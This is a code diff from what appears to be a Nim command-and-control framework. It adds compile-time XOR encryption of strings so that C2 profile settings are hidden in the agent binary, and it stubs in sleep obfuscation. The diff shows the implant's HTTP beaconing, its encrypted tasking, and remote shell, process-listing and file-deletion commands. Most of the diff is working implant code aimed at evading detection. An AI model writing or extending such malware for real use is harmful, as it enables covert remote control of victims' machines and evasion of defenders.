diff --git a/src/agent/core/context.nim b/src/agent/core/context.nim index f23be7d..07330ab 100644 --- a/src/agent/core/context.nim +++ b/src/agent/core/context.nim @@ -18,7 +18,7 @@ proc deserializeConfiguration(config: string): AgentCtx = wipeKey(aesKey) if gmac != authTag: - raise newException(CatchableError, "Invalid authentication tag.") + raise newException(CatchableError, protect("Invalid authentication tag.")) # Parse decrypted profile configuration unpacker = Unpacker.init(Bytes.toString(decData)) @@ -37,14 +37,14 @@ proc deserializeConfiguration(config: string): AgentCtx = wipeKey(agentKeyPair.privateKey) - echo "[+] Profile configuration deserialized." + echo protect("[+] Profile configuration deserialized.") return ctx proc init*(T: type AgentCtx): AgentCtx = try: when not defined(CONFIGURATION): - raise newException(CatchableError, "Missing agent configuration.") + raise newException(CatchableError, protect("Missing agent configuration.")) return deserializeConfiguration(CONFIGURATION) diff --git a/src/agent/core/http.nim b/src/agent/core/http.nim index 07b38d3..aff83c1 100644 --- a/src/agent/core/http.nim +++ b/src/agent/core/http.nim @@ -4,36 +4,36 @@ import ../../common/[types, utils, profile] proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string = - let client = newAsyncHttpClient(userAgent = ctx.profile.getString("agent.user-agent")) + let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("agent.user-agent"))) var heartbeatString: string # Apply data transformation to the heartbeat bytes - case ctx.profile.getString("http-get.agent.heartbeat.encoding.type", default = "none") + case ctx.profile.getString(protect("http-get.agent.heartbeat.encoding.type"), default = "none") of "base64": - heartbeatString = encode(heartbeat, safe = ctx.profile.getBool("http-get.agent.heartbeat.encoding.url-safe")).replace("=", "") + heartbeatString = encode(heartbeat, safe = ctx.profile.getBool(protect("http-get.agent.heartbeat.encoding.url-safe"))).replace("=", "") of "none": heartbeatString = Bytes.toString(heartbeat) # Define request headers, as defined in profile - for header, value in ctx.profile.getTable("http-get.agent.headers"): + for header, value in ctx.profile.getTable(protect("http-get.agent.headers")): client.headers.add(header, value.getStringValue()) # Select a random endpoint to make the request to - var endpoint = ctx.profile.getString("http-get.endpoints") + var endpoint = ctx.profile.getString(protect("http-get.endpoints")) if endpoint[0] == '/': endpoint = endpoint[1..^1] & "?" # Add '?' for additional GET parameters let - prefix = ctx.profile.getString("http-get.agent.heartbeat.prefix") - suffix = ctx.profile.getString("http-get.agent.heartbeat.suffix") + prefix = ctx.profile.getString(protect("http-get.agent.heartbeat.prefix")) + suffix = ctx.profile.getString(protect("http-get.agent.heartbeat.suffix")) payload = prefix & heartbeatString & suffix # Add heartbeat packet to the request - case ctx.profile.getString("http-get.agent.heartbeat.placement.type"): + case ctx.profile.getString(protect("http-get.agent.heartbeat.placement.type")): of "header": - client.headers.add(ctx.profile.getString("http-get.agent.heartbeat.placement.name"), payload) + client.headers.add(ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name")), payload) of "parameter": - let param = ctx.profile.getString("http-get.agent.heartbeat.placement.name") + let param = ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name")) endpoint &= fmt"{param}={payload}&" of "uri": discard @@ -43,7 +43,7 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string = discard # Define additional request parameters - for param, value in ctx.profile.getTable("http-get.agent.parameters"): + for param, value in ctx.profile.getTable(protect("http-get.agent.parameters")): endpoint &= fmt"{param}={value.getStringValue()}&" try: @@ -56,11 +56,11 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string = # In case that tasks are found, apply data transformation to server's response body to get thr raw data let - prefix = ctx.profile.getString("http-get.server.output.prefix") - suffix = ctx.profile.getString("http-get.server.output.suffix") + prefix = ctx.profile.getString(protect("http-get.server.output.prefix")) + suffix = ctx.profile.getString(protect("http-get.server.output.suffix")) encResponse = responseBody[len(prefix) ..^ len(suffix) + 1] - case ctx.profile.getString("http-get.server.output.encoding.type", default = "none"): + case ctx.profile.getString(protect("http-get.server.output.encoding.type"), default = "none"): of "base64": return decode(encResponse) of "none": @@ -77,18 +77,18 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string = proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} = - let client = newAsyncHttpClient(userAgent = ctx.profile.getString("agent.user-agent")) + let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("agent.user-agent"))) # Define request headers, as defined in profile - for header, value in ctx.profile.getTable("http-post.agent.headers"): + for header, value in ctx.profile.getTable(protect("http-post.agent.headers")): client.headers.add(header, value.getStringValue()) # Select a random endpoint to make the request to - var endpoint = ctx.profile.getString("http-post.endpoints") + var endpoint = ctx.profile.getString(protect("http-post.endpoints")) if endpoint[0] == '/': endpoint = endpoint[1..^1] - let requestMethod = parseEnum[HttpMethod](ctx.profile.getString("http-post.request-methods", "POST")) + let requestMethod = parseEnum[HttpMethod](ctx.profile.getString(protect("http-post.request-methods"), protect("POST"))) let body = Bytes.toString(data) diff --git a/src/agent/core/sleepmask.nim b/src/agent/core/sleepmask.nim new file mode 100644 index 0000000..f51ca61 --- /dev/null +++ b/src/agent/core/sleepmask.nim @@ -0,0 +1,3 @@ +import winim/lean + +# Sleep obfuscation based on Ekko (by C5pider) \ No newline at end of file diff --git a/src/agent/protocol/registration.nim b/src/agent/protocol/registration.nim index e4b69bb..f0664d0 100644 --- a/src/agent/protocol/registration.nim +++ b/src/agent/protocol/registration.nim @@ -76,7 +76,7 @@ type SERVER = 3 # API Structs -type OSVersionInfoExW {.importc: "OSVERSIONINFOEXW", header: "".} = object +type OSVersionInfoExW {.importc: protect("OSVERSIONINFOEXW"), header: protect("").} = object dwOSVersionInfoSize: ULONG dwMajorVersion: ULONG dwMinorVersion: ULONG @@ -99,58 +99,58 @@ proc getWindowsVersion(info: OSVersionInfoExW, productType: ProductType): string if major == 10 and minor == 0: if productType == WORKSTATION: if build >= 22000: - return "Windows 11" + return protect("Windows 11") else: - return "Windows 10" + return protect("Windows 10") else: case build: of 20348: - return "Windows Server 2022" + return protect("Windows Server 2022") of 17763: - return "Windows Server 2019" + return protect("Windows Server 2019") of 14393: - return "Windows Server 2016" + return protect("Windows Server 2016") else: - return fmt"Windows Server 10.x (Build: {build})" + return protect("Windows Server 10.x (Build: ") & $build & protect(")") elif major == 6: case minor: of 3: if productType == WORKSTATION: - return "Windows 8.1" + return protect("Windows 8.1") else: - return "Windows Server 2012 R2" + return protect("Windows Server 2012 R2") of 2: if productType == WORKSTATION: - return "Windows 8" + return protect("Windows 8") else: - return "Windows Server 2012" + return protect("Windows Server 2012") of 1: if productType == WORKSTATION: - return "Windows 7" + return protect("Windows 7") else: - return "Windows Server 2008 R2" + return protect("Windows Server 2008 R2") of 0: if productType == WORKSTATION: - return "Windows Vista" + return protect("Windows Vista") else: - return "Windows Server 2008" + return protect("Windows Server 2008") else: discard elif major == 5: if minor == 2: if productType == WORKSTATION: - return "Windows XP x64 Edition" + return protect("Windows XP x64 Edition") else: - return "Windows Server 2003" + return protect("Windows Server 2003") elif minor == 1: - return "Windows XP" + return protect("Windows XP") else: discard - return "Unknown Windows Version" + return protect("Unknown Windows Version") proc getProductType(): ProductType = # The product key is retrieved from the registry @@ -162,7 +162,7 @@ proc getProductType(): ProductType = # WinNT -> Workstation # Using the 'registry' module, we can get the exact registry value - case getUnicodeValue("""SYSTEM\CurrentControlSet\Control\ProductOptions""", "ProductType", HKEY_LOCAL_MACHINE) + case getUnicodeValue(protect("""SYSTEM\CurrentControlSet\Control\ProductOptions"""), protect("ProductType"), HKEY_LOCAL_MACHINE) of "WinNT": return WORKSTATION of "ServerNT": @@ -173,7 +173,7 @@ proc getProductType(): ProductType = proc getOSVersion(): string = proc rtlGetVersion(lpVersionInformation: var OSVersionInfoExW): NTSTATUS - {.cdecl, importc: "RtlGetVersion", dynlib: "ntdll.dll".} + {.cdecl, importc: protect("RtlGetVersion"), dynlib: protect("ntdll.dll").} when defined(windows): var osInfo: OSVersionInfoExW @@ -190,7 +190,7 @@ proc getOSVersion(): string = # We instead retrieve the return getWindowsVersion(osInfo, getProductType()) else: - return "Unknown" + return protect("Unknown") proc collectAgentMetadata*(ctx: AgentCtx): AgentRegistrationData = diff --git a/src/client/client.nim b/src/client/client.nim deleted file mode 100644 index 72d9ff3..0000000 --- a/src/client/client.nim +++ /dev/null @@ -1,97 +0,0 @@ -# MIT License -# -# Copyright (c) 2022 Can Joshua Lehmann -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be included in all -# copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -# SOFTWARE. - -import owlkettle, owlkettle/[playground, adw] - -viewable App: - collapsed: bool = false - enableHideGesture: bool = true - enableShowGesture: bool = true - maxSidebarWidth: float = 300.0 - minSidebarWidth: float = 250.0 - pinSidebar: bool = false - showSidebar: bool = true - sidebarPosition: PackType = PackStart - widthFraction: float = 0.25 - widthUnit: LengthUnit = LengthScaleIndependent - sensitive: bool = true - tooltip: string = "" - sizeRequest: tuple[x, y: int] = (-1, -1) - -method view(app: AppState): Widget = - result = gui: - AdwWindow: - defaultSize = (600, 400) - - OverlaySplitView: - collapsed = app.collapsed - enableHideGesture = app.enableHideGesture - enableShowGesture = app.enableShowGesture - maxSidebarWidth = app.maxSidebarWidth - minSidebarWidth = app.minSidebarWidth - pinSidebar = app.pinSidebar - showSidebar = app.showSidebar - sidebarPosition = app.sidebarPosition - widthFraction = app.widthFraction - widthUnit = app.widthUnit - tooltip = app.tooltip - sensitive = app.sensitive - sizeRequest = app.sizeRequest - - proc toggle(shown: bool) = - echo shown - app.showSidebar = shown - - Box: - orient = OrientY - - AdwHeaderBar {.expand: false.}: - style = HeaderBarFlat - - insert(app.toAutoFormMenu(sizeRequest = (400, 500))){.addRight.} - - Button {.addLeft.}: - icon = "sidebar-show-symbolic" - style = ButtonFlat - - proc clicked() = - app.showSidebar = not app.showSidebar - - Label: - text = "Content" - style = LabelTitle2 - - Box {.addSidebar.}: - orient = OrientY - spacing = 4 - - AdwHeaderBar {.expand: false.}: - style = HeaderBarFlat - - WindowTitle {.addTitle.}: - title = "Overlay Split View Example" - - Label: - text = "Sidebar" - style = LabelTitle2 - -adw.brew(gui(App())) \ No newline at end of file diff --git a/src/common/crypto.nim b/src/common/crypto.nim index 3a14ea7..31ba2a3 100644 --- a/src/common/crypto.nim +++ b/src/common/crypto.nim @@ -1,7 +1,7 @@ -import macros, system +import macros, system, hashes import nimcrypto -import ./[utils, types] +import ./[types, utils] #[ Symmetric AES256 GCM encryption for secure C2 traffic @@ -10,7 +10,7 @@ import ./[utils, types] proc generateBytes*(T: typedesc[Key | Iv]): array = var bytes: T if randomBytes(bytes) != sizeof(T): - raise newException(CatchableError, "Failed to generate byte array.") + raise newException(CatchableError, protect("Failed to generate byte array.")) return bytes proc encrypt*(key: Key, iv: Iv, data: seq[byte], sequenceNumber: uint32 = 0): (seq[byte], AuthenticationTag) = @@ -48,7 +48,7 @@ proc validateDecryption*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: u let (decData, gmac) = decrypt(key, iv, encData, sequenceNumber) if gmac != header.gmac: - raise newException(CatchableError, "Invalid authentication tag.") + raise newException(CatchableError, protect("Invalid authentication tag.")) return decData @@ -110,7 +110,7 @@ proc deriveSessionKey*(keyPair: KeyPair, publicKey: Key): Key = # Add combined public keys to hash let combinedKeys: Key = combineKeys(keyPair.publicKey, publicKey) - let hashMessage: seq[byte] = string.toBytes("CONQUEST") & @combinedKeys + let hashMessage: seq[byte] = string.toBytes(protect("CONQUEST")) & @combinedKeys # Calculate Blake2b hash and extract the first 32 bytes for the AES key (https://monocypher.org/manual/blake2b) let hash = blake2b(hashMessage, sharedSecret) @@ -129,7 +129,7 @@ proc writeKeyToDisk*(keyFile: string, key: Key) = let bytesWritten = file.writeBytes(key, 0, sizeof(Key)) if bytesWritten != sizeof(Key): - raise newException(ValueError, "Invalid key length.") + raise newException(ValueError, protect("Invalid key length.")) proc loadKeyPair*(keyFile: string): KeyPair = try: @@ -140,7 +140,7 @@ proc loadKeyPair*(keyFile: string): KeyPair = let bytesRead = file.readBytes(privateKey, 0, sizeof(Key)) if bytesRead != sizeof(Key): - raise newException(ValueError, "Invalid key length.") + raise newException(ValueError, protect("Invalid key length.")) return KeyPair( privateKey: privateKey, @@ -151,4 +151,4 @@ proc loadKeyPair*(keyFile: string): KeyPair = except IOError: let keyPair = generateKeyPair() writeKeyToDisk(keyFile, keyPair.privateKey) - return keyPair + return keyPair \ No newline at end of file diff --git a/src/common/sequence.nim b/src/common/sequence.nim index 2db3ba2..0cae390 100644 --- a/src/common/sequence.nim +++ b/src/common/sequence.nim @@ -1,5 +1,5 @@ import tables -import ./types +import ./[types, utils] var sequenceTable {.global.}: Table[uint32, uint32] @@ -31,12 +31,12 @@ proc validatePacket*(header: Header, expectedType: uint8) = # Validate magic number if header.magic != MAGIC: - raise newException(CatchableError, "Invalid magic bytes.") + raise newException(CatchableError, protect("Invalid magic bytes.")) # Validate packet type if header.packetType != expectedType: - raise newException(CatchableError, "Invalid packet type.") + raise newException(CatchableError, protect("Invalid packet type.")) # Validate sequence number if not validateSequence(header.agentId, header.seqNr, header.packetType): - raise newException(CatchableError, "Invalid sequence number.") + raise newException(CatchableError, protect("Invalid sequence number.")) diff --git a/src/common/serialize.nim b/src/common/serialize.nim index 1b6a6cc..6017d9f 100644 --- a/src/common/serialize.nim +++ b/src/common/serialize.nim @@ -1,5 +1,5 @@ import streams, tables -import ./[types, utils, crypto] +import ./[types, utils] #[ Packer @@ -102,7 +102,7 @@ proc getBytes*(unpacker: Unpacker, length: int): seq[byte] = unpacker.position += bytesRead if bytesRead != length: - raise newException(IOError, "Not enough data to read") + raise newException(IOError, protect("Not enough data to read")) proc getByteArray*(unpacker: Unpacker, T: typedesc[Key | Iv | AuthenticationTag]): array = var bytes: array[sizeof(T), byte] @@ -111,7 +111,7 @@ proc getByteArray*(unpacker: Unpacker, T: typedesc[Key | Iv | AuthenticationTag] unpacker.position += bytesRead if bytesRead != sizeof(T): - raise newException(IOError, "Not enough data to read structure.") + raise newException(IOError, protect("Not enough data to read structure.")) return bytes diff --git a/src/common/utils.nim b/src/common/utils.nim index 6569403..22db0b9 100644 --- a/src/common/utils.nim +++ b/src/common/utils.nim @@ -1,20 +1,8 @@ +import macros, hashes import strutils, nimcrypto import ./types -proc generateUUID*(): string = - # Create a 4-byte HEX UUID string (8 characters) - var uuid: array[4, byte] - if randomBytes(uuid) != 4: - raise newException(CatchableError, "Failed to generate UUID.") - return uuid.toHex().toUpperAscii() - -proc toUuid*(T: type string, uuid: string): Uuid = - return fromHex[uint32](uuid) - -proc toString*(T: type Uuid, uuid: Uuid): string = - return uuid.toHex(8) - proc toString*(T: type Bytes, data: seq[byte]): string = result = newString(data.len) for i, b in data: @@ -25,9 +13,49 @@ proc toBytes*(T: type string, data: string): seq[byte] = for i, c in data: result[i] = byte(c.ord) +#[ + Compile-time string encryption using simple XOR + This is done to hide sensitive strings, such as C2 profile settings in the binary +]# +proc calculate(str: string, key: int): string {.noinline.} = + var k = key + var bytes = string.toBytes(str) + for i in 0 ..< bytes.len: + for f in [0, 8, 16, 24]: + bytes[i] = bytes[i] xor uint8((k shr f) and 0xFF) + k = k +% 1 + return Bytes.toString(bytes) + +# Generate a XOR key at compile-time. The `and` operation ensures that a positive integer is the result +var key {.compileTime.}: int = hash(CompileTime & CompileDate) and 0x7FFFFFFF + +macro protect*(str: untyped): untyped = + var encStr = calculate($str, key) + result = quote do: + calculate(`encStr`, `key`) + + # Alternate the XOR key using the FNV prime (1677619) + key = (key *% 1677619) and 0x7FFFFFFF + +#[ + Utility functions +]# +proc toUuid*(T: type string, uuid: string): Uuid = + return fromHex[uint32](uuid) + +proc toString*(T: type Uuid, uuid: Uuid): string = + return uuid.toHex(8) + +proc generateUUID*(): string = + # Create a 4-byte HEX UUID string (8 characters) + var uuid: array[4, byte] + if randomBytes(uuid) != 4: + raise newException(CatchableError, protect("Failed to generate UUID.")) + return uuid.toHex().toUpperAscii() + proc toUint32*(T: type Bytes, data: seq[byte]): uint32 = if data.len != 4: - raise newException(ValueError, "Expected 4 bytes for uint32") + raise newException(ValueError, protect("Expected 4 bytes for uint32")) return uint32(data[0]) or (uint32(data[1]) shl 8) or @@ -71,6 +99,6 @@ proc toBytes*(T: type uint64, value: uint64): seq[byte] = proc toKey*(value: string): Key = if value.len != 32: - raise newException(ValueError, "Invalid key length.") + raise newException(ValueError, protect("Invalid key length.")) copyMem(result[0].addr, value[0].unsafeAddr, 32) \ No newline at end of file diff --git a/src/modules/environment.nim b/src/modules/environment.nim index 3f603bc..8d456e8 100644 --- a/src/modules/environment.nim +++ b/src/modules/environment.nim @@ -1,4 +1,4 @@ -import ../common/types +import ../common/[types, utils] # Declare function prototypes proc executePs(ctx: AgentCtx, task: Task): TaskResult @@ -8,26 +8,26 @@ proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult # Command definitions let commands*: seq[Command] = @[ Command( - name: "ps", + name: protect("ps"), commandType: CMD_PS, - description: "Display running processes.", - example: "ps", + description: protect("Display running processes."), + example: protect("ps"), arguments: @[], execute: executePs ), Command( - name: "env", + name: protect("env"), commandType: CMD_ENV, - description: "Display environment variables.", - example: "env", + description: protect("Display environment variables."), + example: protect("env"), arguments: @[], execute: executeEnv ), Command( - name: "whoami", + name: protect("whoami"), commandType: CMD_WHOAMI, - description: "Get user information.", - example: "whoami", + description: protect("Get user information."), + example: protect("whoami"), arguments: @[], execute: executeWhoami ) @@ -56,7 +56,7 @@ when defined(agent): proc executePs(ctx: AgentCtx, task: Task): TaskResult = - echo fmt" [>] Listing running processes." + echo protect(" [>] Listing running processes.") try: var processes: seq[DWORD] = @[] @@ -66,7 +66,7 @@ when defined(agent): # Take a snapshot of running processes let hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) if hSnapshot == INVALID_HANDLE_VALUE: - raise newException(CatchableError, "Invalid permissions.\n") + raise newException(CatchableError, protect("Invalid permissions.\n")) # Close handle after object is no longer used defer: CloseHandle(hSnapshot) @@ -76,7 +76,7 @@ when defined(agent): # Loop over processes to fill the map if Process32First(hSnapshot, addr pe32) == FALSE: - raise newException(CatchableError, "Failed to get processes.\n") + raise newException(CatchableError, protect("Failed to get processes.\n")) while true: var procInfo = ProcessInfo( @@ -99,7 +99,7 @@ when defined(agent): processes.add(pid) # Add header row - let headers = @["PID", "PPID", "Process"] + let headers = @[protect("PID"), protect("PPID"), protect("Process")] output &= fmt"{headers[0]:<10}{headers[1]:<10}{headers[2]:<25}" & "\n" output &= "-".repeat(len(headers[0])).alignLeft(10) & "-".repeat(len(headers[1])).alignLeft(10) & "-".repeat(len(headers[2])).alignLeft(25) & "\n" @@ -130,7 +130,7 @@ when defined(agent): proc executeEnv(ctx: AgentCtx, task: Task): TaskResult = - echo fmt" [>] Displaying environment variables." + echo protect(" [>] Displaying environment variables.") try: var output: string = "" @@ -144,11 +144,11 @@ when defined(agent): proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult = - echo fmt" [>] Getting user information." + echo protect(" [>] Getting user information.") try: - let output = "Not implemented" + let output = protect("Not implemented") return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(output)) except CatchableError as err: diff --git a/src/modules/filesystem.nim b/src/modules/filesystem.nim index 1549478..f3d0c96 100644 --- a/src/modules/filesystem.nim +++ b/src/modules/filesystem.nim @@ -1,4 +1,4 @@ -import ../common/types +import ../common/[types, utils] # Define function prototypes proc executePwd(ctx: AgentCtx, task: Task): TaskResult @@ -12,72 +12,72 @@ proc executeCopy(ctx: AgentCtx, task: Task): TaskResult # Command definitions let commands* = @[ Command( - name: "pwd", + name: protect("pwd"), commandType: CMD_PWD, - description: "Retrieve current working directory.", - example: "pwd", + description: protect("Retrieve current working directory."), + example: protect("pwd"), arguments: @[], execute: executePwd ), Command( - name: "cd", + name: protect("cd"), commandType: CMD_CD, - description: "Change current working directory.", - example: "cd C:\\Windows\\Tasks", + description: protect("Change current working directory."), + example: protect("cd C:\\Windows\\Tasks"), arguments: @[ - Argument(name: "directory", description: "Relative or absolute path of the directory to change to.", argumentType: STRING, isRequired: true) + Argument(name: protect("directory"), description: protect("Relative or absolute path of the directory to change to."), argumentType: STRING, isRequired: true) ], execute: executeCd ), Command( - name: "ls", + name: protect("ls"), commandType: CMD_LS, - description: "List files and directories.", - example: "ls C:\\Users\\Administrator\\Desktop", + description: protect("List files and directories."), + example: protect("ls C:\\Users\\Administrator\\Desktop"), arguments: @[ - Argument(name: "directory", description: "Relative or absolute path. Default: current working directory.", argumentType: STRING, isRequired: false) + Argument(name: protect("directory"), description: protect("Relative or absolute path. Default: current working directory."), argumentType: STRING, isRequired: false) ], execute: executeDir ), Command( - name: "rm", + name: protect("rm"), commandType: CMD_RM, - description: "Remove a file.", - example: "rm C:\\Windows\\Tasks\\payload.exe", + description: protect("Remove a file."), + example: protect("rm C:\\Windows\\Tasks\\payload.exe"), arguments: @[ - Argument(name: "file", description: "Relative or absolute path to the file to delete.", argumentType: STRING, isRequired: true) + Argument(name: protect("file"), description: protect("Relative or absolute path to the file to delete."), argumentType: STRING, isRequired: true) ], execute: executeRm ), Command( - name: "rmdir", + name: protect("rmdir"), commandType: CMD_RMDIR, - description: "Remove a directory.", - example: "rm C:\\Payloads", + description: protect("Remove a directory."), + example: protect("rm C:\\Payloads"), arguments: @[ - Argument(name: "directory", description: "Relative or absolute path to the directory to delete.", argumentType: STRING, isRequired: true) + Argument(name: protect("directory"), description: protect("Relative or absolute path to the directory to delete."), argumentType: STRING, isRequired: true) ], execute: executeRmdir ), Command( - name: "move", + name: protect("move"), commandType: CMD_MOVE, - description: "Move a file or directory.", - example: "move source.exe C:\\Windows\\Tasks\\destination.exe", + description: protect("Move a file or directory."), + example: protect("move source.exe C:\\Windows\\Tasks\\destination.exe"), arguments: @[ - Argument(name: "source", description: "Source file path.", argumentType: STRING, isRequired: true), - Argument(name: "destination", description: "Destination file path.", argumentType: STRING, isRequired: true) + Argument(name: protect("source"), description: protect("Source file path."), argumentType: STRING, isRequired: true), + Argument(name: protect("destination"), description: protect("Destination file path."), argumentType: STRING, isRequired: true) ], execute: executeMove ), Command( - name: "copy", + name: protect("copy"), commandType: CMD_COPY, - description: "Copy a file or directory.", - example: "copy source.exe C:\\Windows\\Tasks\\destination.exe", + description: protect("Copy a file or directory."), + example: protect("copy source.exe C:\\Windows\\Tasks\\destination.exe"), arguments: @[ - Argument(name: "source", description: "Source file path.", argumentType: STRING, isRequired: true), - Argument(name: "destination", description: "Destination file path.", argumentType: STRING, isRequired: true) + Argument(name: protect("source"), description: protect("Source file path."), argumentType: STRING, isRequired: true), + Argument(name: protect("destination"), description: protect("Destination file path."), argumentType: STRING, isRequired: true) ], execute: executeCopy ) @@ -102,7 +102,7 @@ when defined(agent): # Retrieve current working directory proc executePwd(ctx: AgentCtx, task: Task): TaskResult = - echo fmt" [>] Retrieving current working directory." + echo protect(" [>] Retrieving current working directory.") try: # Get current working directory using GetCurrentDirectory @@ -126,7 +126,7 @@ when defined(agent): # Parse arguments let targetDirectory = Bytes.toString(task.args[0].data) - echo fmt" [>] Changing current working directory to {targetDirectory}." + echo protect(" [>] Changing current working directory to {targetDirectory}.") try: # Get current working directory using GetCurrentDirectory @@ -235,7 +235,7 @@ when defined(agent): var localTime: FILETIME systemTime: SYSTEMTIME - dateTimeStr = "01/01/1970 00:00:00" + dateTimeStr = protect("01/01/1970 00:00:00") if FileTimeToLocalFileTime(&findData.ftLastWriteTime, &localTime) != 0 and FileTimeToSystemTime(&localTime, &systemTime) != 0: # Format date and time in PowerShell style @@ -244,7 +244,7 @@ when defined(agent): # Format file size var sizeStr = "" if isDir: - sizeStr = "" + sizeStr = protect("") else: sizeStr = ($fileSize).replace("-", "") diff --git a/src/modules/shell.nim b/src/modules/shell.nim index c179563..a97530e 100644 --- a/src/modules/shell.nim +++ b/src/modules/shell.nim @@ -1,4 +1,4 @@ -import ../common/types +import ../common/[types, utils] # Define function prototype proc executeShell(ctx: AgentCtx, task: Task): TaskResult @@ -6,13 +6,13 @@ proc executeShell(ctx: AgentCtx, task: Task): TaskResult # Command definition (as seq[Command]) let commands*: seq[Command] = @[ Command( - name: "shell", + name: protect("shell"), commandType: CMD_SHELL, - description: "Execute a shell command and retrieve the output.", - example: "shell whoami /all", + description: protect("Execute a shell command and retrieve the output."), + example: protect("shell whoami /all"), arguments: @[ - Argument(name: "command", description: "Command to be executed.", argumentType: STRING, isRequired: true), - Argument(name: "arguments", description: "Arguments to be passed to the command.", argumentType: STRING, isRequired: false) + Argument(name: protect("command"), description: protect("Command to be executed."), argumentType: STRING, isRequired: true), + Argument(name: protect("arguments"), description: protect("Arguments to be passed to the command."), argumentType: STRING, isRequired: false) ], execute: executeShell ) diff --git a/src/modules/sleep.nim b/src/modules/sleep.nim index 1554c78..fc0e55f 100644 --- a/src/modules/sleep.nim +++ b/src/modules/sleep.nim @@ -1,4 +1,4 @@ -import ../common/types +import ../common/[types, utils] # Define function prototype proc executeSleep(ctx: AgentCtx, task: Task): TaskResult @@ -6,12 +6,12 @@ proc executeSleep(ctx: AgentCtx, task: Task): TaskResult # Command definition (as seq[Command]) let commands* = @[ Command( - name: "sleep", + name: protect("sleep"), commandType: CMD_SLEEP, - description: "Update sleep delay configuration.", - example: "sleep 5", + description: protect("Update sleep delay configuration."), + example: protect("sleep 5"), arguments: @[ - Argument(name: "delay", description: "Delay in seconds.", argumentType: INT, isRequired: true) + Argument(name: protect("delay"), description: protect("Delay in seconds."), argumentType: INT, isRequired: true) ], execute: executeSleep )